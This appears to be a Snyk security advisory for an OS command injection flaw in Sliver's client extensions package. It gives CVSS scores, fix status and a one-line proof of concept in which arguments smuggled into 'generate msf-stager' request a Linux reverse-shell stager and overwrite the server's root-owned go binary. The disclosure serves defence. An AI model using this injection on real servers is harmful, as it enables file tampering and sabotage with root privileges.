OS Command Injection Affecting github.com/bishopfox/sliver/client/command/extensions package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMBISHOPFOXSLIVERCLIENTCOMMANDEXTENSIONS-7547212
  • published 23 Jul 2024
  • disclosed 18 Jul 2024
  • credit hyperreality

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

github.com/bishopfox/sliver/client/command/extensions is a package that allows loading and executing 3rd party extensions

Affected versions of this package are vulnerable to OS Command Injection using the generate msf-stager command. An operator user can expose or modify files on the server with root privileges, or interrupt some or all other sessions on the server by manipulating the --out command-line argument to overwrite the root binary.

PoC

sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    Low
  • Availability (VA)
    Low
  • Confidentiality (SC)
    High
  • Integrity (SI)
    High
  • Availability (SA)
    High